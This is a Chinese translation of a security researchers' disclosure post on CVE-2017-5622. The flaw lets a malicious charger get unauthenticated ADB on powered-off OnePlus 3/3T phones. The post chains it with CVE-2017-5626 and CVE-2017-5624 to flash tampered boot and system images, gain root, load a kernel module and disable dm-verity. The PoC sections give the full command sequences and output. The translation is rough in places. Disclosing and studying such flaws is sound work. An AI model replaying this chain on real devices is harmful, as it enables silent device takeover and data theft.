上个月,我们发布了 CVE-2017-5626的利用方式(在OxygenOS 4.0.2中被修复),这篇文章是一个新的漏洞,允许攻击者有效地解锁OnePlus 3 / 3T设备(不通过出厂设置来恢复)。结合我们还发现了CVE-2017-5624(在OxygenOS 4.0.3中被修复),可以对锁定的设备进行强大的攻击 – 持续高权限的代码执行,而不会对用户发出任何警告并访问用户的数据(受害者进入他的证书)。然而,从攻击者的角度来看,它需要物理接触或ADB对设备的授权访问。

在这篇博文中,我们描述了OnePlus 3 / 3T(OxygenOS 4.0.2及更低版本)中的新的关键漏洞CVE-2017-5622,它可以较少攻击额先决条件。将其与CVE-2017-5626结合使用,如果在关闭电源时接通电源(充电器也可能只会等到电池耗尽)可以让恶意充电器拥有您的设备的root权限。将CVE-2017-5624添加到被利用漏洞的堆栈中也将帮助攻击者修改设备的system分区。

我们已经很负责任地向OnePlus Security 报告了CVE-2017-5622,后来在上个月发布的OxygenOS 4.0.3中将其修正了。我们要感谢OnePlus Security有效的处理这个关键安全问题。

演示:

在我们深入了解技术细节之前,先贴出我们PoC的几个视频演示。

第一个视频介绍了“充电器”如何利用CVE-2017-5622CVE-2017-5626获得root shell,将SELinux置于permissive模式,甚至执行内核代码:

第二个视频显示“充电器”如何利用CVE-2017-5622CVE-2017-5624CVE-2017-5626替换system分区,以安装特权应用程序。一旦替换完成,设备被篡改时用户不会有任何提示:

充电器引导模式访问ADB

当将一台关闭的OnePlus 3 / 3T设备连接到充电器时,charger引导加载程序使用引导模式,换句话说: ro.bootmode = charger。这里不能启用任何敏感的USB接口,否则可能会被恶意充电器攻击,这种攻击也被称为Juice- jacking。

令我们惊讶的是,当我们首次连接关闭的OnePlus 3 / 3T设备时,我们注意到我们有ADB接入:

> adb shell
android:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
android:/ $ getprop ro.bootmode
charger
android:/ $ getprop ro.boot.mode
charger
android:/ $ getprop  | grep -i oxygen
[ro.oxygen.version]: [4.0.2]
android:/ $

这个状况不会(而且不应该!)发生在将断电的Android设备连接到充电器时,我们很困惑。现在我们有两个的问题:

问题1:为什么ADB会运行?

这个问题的答案在于Android引导过程,在此过程中,init执行boot分区下的多个脚本。通过运行ps,可以看出init是adbd:

android:/ $ ps -x | grep adb
shell     444   1     12324  564   poll_sched 0000000000 S /sbin/adbd (u:2, s:10)
android:/ $ ps -x  |grep init
root      1     0     15828  2496  SyS_epoll_ 0000000000 S /init (u:6, s:102)

因此,当系统在引导模式下运行时,一些init脚本指令通过adbd启动charger。看看init.qcom.usb.rc显示如下:

on charger
    [...]
    mkdir /dev/usb-ffs/adb 0770 shell shell
    mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000
    write /sys/class/android_usb/android0/f_ffs/aliases adb
    setprop persist.sys.usb.config adb
    setprop sys.usb.configfs 0
    setprop sys.usb.config adb
    [...]

on charger事件被触发,如果ro.bootmode == charger,则可以从安卓7.1.1的可以看到init.cpp

[...]
std::string bootmode = property_get("ro.bootmode");
if (bootmode == 'charger') {
    am.QueueEventTrigger('charger');
} else {
    am.QueueEventTrigger("late-init");
}
[...]

因此,sys.usb.config属性更改为adb,随后指令init运行adbd,下init.usb.rc

[...]
on property:sys.usb.config=adb && property:sys.usb.configfs=0
    write /sys/class/android_usb/android0/enable 0
    write /sys/class/android_usb/android0/idVendor 2A70 #VENDOR_EDIT Anderson@, 2016/09/21, modify from 18d1 to 2A70
    write /sys/class/android_usb/android0/idProduct 4EE7
    write /sys/class/android_usb/android0/functions ${sys.usb.config}
    write /sys/class/android_usb/android0/enable 1
    start adbd
    setprop sys.usb.state ${sys.usb.config}
[...]

问题2:ADB授权在哪?

为了防止恶意USB端口(例如恶意充电器)针对adbd启用设备,任何尝试获得与未授权设备的ADB会话现在都被阻止。

那么OnePlus 3 / 3T有什么不同?首先,我们来看看AOSP实现adbd。该adbd_main例程显示有一些global标志,auth_required控制ADB授权:

int adbd_main(int server_port) {
[...]
    if (ALLOW_ADBD_NO_AUTH && property_get_bool("ro.adb.secure", 0) == 0) {
        auth_required = false;
    }
[...]

该Flag随后被handle_new_connection使用:

static void handle_new_connection(atransport* t, apacket* p) {
[...]
    if (!auth_required) {
        handle_online(t);
        send_connect(t);
    } else {
        send_auth_request(t);
    }
[...]
}

因此,我们可以推断,如果OxygenOS使用adbd,那么ro.adb.secure将是0

android:/ $ getprop ro.adb.secure
1
android:/ $

OnePlus 3 / 3T的OxygenOS包含一个定制的adbd!由于我们没有源,我们需要看二进制。用IDA进行解码显示:

__int64 sub_400994()
{
[...]
  if ( !(unsigned __int8)sub_440798("ro.adb.secure", 0LL) )
    auth_required_50E088 = 0;
  getprop("ro.wandrfmode", &v95, &byte_4D735C);
  if ( !(unsigned int)strcmp(&v95, &a0_1) || !(unsigned int)strcmp(&v95, &a1_1) || !(unsigned int)strcmp(&v95, &a2) )
    auth_required_50E088 = 0;
  getprop("ro.boot.mode", &v94, &byte_4D735C);
  if ( !(unsigned int)strcmp(&v94, 'charger') )
    auth_required_50E088 = 0;
[...]
}

我们可以清楚地看到,OnePlus已经定制了AOSP adbd s. t. ,当系统启动chargerauth_required = 0 ,(涉及ro.wandrfmode 参考CVE-2017-5623

利用

那么我们可以如何控制ADB访问?首先,我们应该注意,虽然我们可以获得一个shell,但是我们无法访问用户数据,因为该分区已经被卸载和加密了。然而,我们可以做的只是重新启动进入fastboot模式reboot bootloader,然后通过使用CVE-2017-5626替换boot和/system或重新分区!为了清楚关于分区修改时用户收到的警告,我们也可以利用CVE-2017-5624。应该注意的是,如果设备的引导程序碰巧被解锁,那么充电器甚至不需要CVE-2017-5626

提醒一下,CVE-2017-5626fastboot oem 4F500301)允许fastboot解锁设备,无需用户确认即可清除,也不会擦除用户数据。此外,设备在运行此命令后仍会报告被锁定。利用此漏洞只会允许内核代码执行,尽管有5秒警告消息。CVE-2017-5624允许攻击者再次访问fastboot,例如禁用dm-verity,防止篡改系统分区的特征。

PoC 1:充电器获得root shell和内核代码执行(CVE-2017-5622 / 6)

当受害者关闭设备电源并连接到“充电器”时,攻击开始,该充电器将通过CVE-2017-5622获得ADB会话,并将设备重新启动为fastboot

> adb shell
android:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
android:/ $ reboot bootloader

> fastboot devices
cb010b5a        fastboot

通过利用CVE-2017-5626,“充电器”替代了bootimage s.t. adbdroot运行,SELinux处于permissive模式(参见上一篇博文):

> fastboot flash boot evilboot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [  0.335s]
writing 'boot'...
FAILED (remote: Partition flashing is not allowed)
finished. total time: 0.358s

> fastboot oem 4F500301
...
OKAY [  0.020s]
finished. total time: 0.021s

> fastboot flash boot  evilboot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [  0.342s]
writing 'boot'...
OKAY [  0.135s]
finished. total time: 0.480s

这将会提供给charger一个root shell(但不能访问用户数据!)

OnePlus3:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0

OnePlus3:/ # getenforce
Permissive

OnePlus 3 / 3T内核使用LKM进行编译,所以运行的内核代码甚至不需要修补/重新编译内核。所以我创建了一个小内核模块:

#include <linux/module.h>
#include <linux/kdb.h>
int init_module(void)
{
    printk(KERN_ALERT "Hello From Evil LKM\n");
    return 1;
}

然后而已充电器就可以加载进它的内核:

OnePlus3:/data/local/tmp # insmod ./evil.ko
OnePlus3:/data/local/tmp # dmesg | grep "Evil LKM"
[19700121_21:09:58.970409]@3 Hello From Evil LKM

PoC 2:恶意充电器取代系统分区(CVE-2017-5622 / 4/6)

这些漏洞可以组合在一起,在SELinux的特权域中进行代码执行,而不会对用户发出任何警告并允许访问原始用户数据。为了证明这一点,我修改了system分区,添加了一个特权应用程序。这可以通过放置一个APK,/system/priv-app/<APK_DIR>最终将其添加到priv_app domain

当受害者再次将电源关闭设备连接到“充电器”时,攻击开始,该充电器会通过CVE-2017-5622将获得ADB会话,并将设备重新启动为fastboot模式:

> adb shell
android:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
android:/ $ reboot bootloader

> fastboot devices
cb010b5a        fastboot

通过利用CVE-2017-5626,“”可以用恶意充电器代替system替换分区:

> fastboot flash system evilsystem.img
target reported max download size of 440401920 bytes
erasing 'system'...
FAILED (remote: Partition erase is not allowed)
finished. total time: 0.014s

> fastboot oem 4F500301
OKAY
[  0.020s] finished. total time: 0.021s

> fastboot flash system evilsystem.img
target reported max download size of 440401920 bytes erasing 'system'...
OKAY [  0.010s]
...
sending sparse 'system' 7/7 (268486 KB)...
OKAY [  6.748s]
writing 'system' 7/7...
OKAY [  3.291s]
finished. total time: 122.675s

通过利用CVE-2017-5624,“充电器”可以禁用dm-verity

> fastboot oem disable_dm_verity
...
OKAY

[  0.034s] finished. total time: 0.036s

事实上app加载了 priv_app

1|OnePlus3:/ $ getprop | grep dm_verity
[ro.boot.enable_dm_verity]: [0]
OnePlus3:/ $ ps -Z | grep evilapp
u:r:priv_app:s0:c512,c768      u0_a16    4764  2200  1716004 74600 SyS_epoll_ 0000000000 S alephresearch.evilapp

补丁

一加可以通过删除{persist.}sys.usb.config 事件下on charger 相关部分来修复该漏洞

on charger
    #yfb add  to salve binder error log in poweroff charge
    setrlimit 13 40 40
    setprop sys.usb.config mass_storage
    mkdir /dev/usb-ffs 0770 shell shell
    mkdir /dev/usb-ffs/adb 0770 shell shell
    mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000
    write /sys/class/android_usb/android0/f_ffs/aliases adb
    #14(0xe) means reject cpu1 cpu2 cpu3online
    write /sys/module/msm_thermal/core_control/cpus_offlined 14
    #add by [email protected] 2015/12/22, improve the performance of charging
    write /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor powersave
    write /sys/devices/system/cpu/cpu1/online 0
    write /sys/devices/system/cpu/cpu2/online 0
    write /sys/devices/system/cpu/cpu3/online 0
    #yfb add  to salve binder error log in poweroff charge
    start srvmag_charger

一加手机2

最后,OnePlus 2还可以在{persist}.sys.usb.configon charger事件下将adb属性设置为init.qcom.usb.rc:

on charger
    mkdir /dev/usb-ffs 0770 shell shell
    mkdir /dev/usb-ffs/adb 0770 shell shell
    mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000
    write /sys/class/android_usb/android0/f_ffs/aliases adb
    setprop persist.sys.usb.config adb
[...]

And also under init.rc:

on charger
    mount ext4 /dev/block/bootdevice/by-name/system /system ro
    setprop sys.usb.configfs 0
    load_system_props
    class_start charger
    setprop sys.usb.config adb

这样,当我们连接我们的OnePlus 2设备时,虽然USB接口已经启动并运行adb,但是我们没有办法得到shell,

 

*来源:alephsecurity,MottoIN小编编译发布,

源链接

Hacking more

...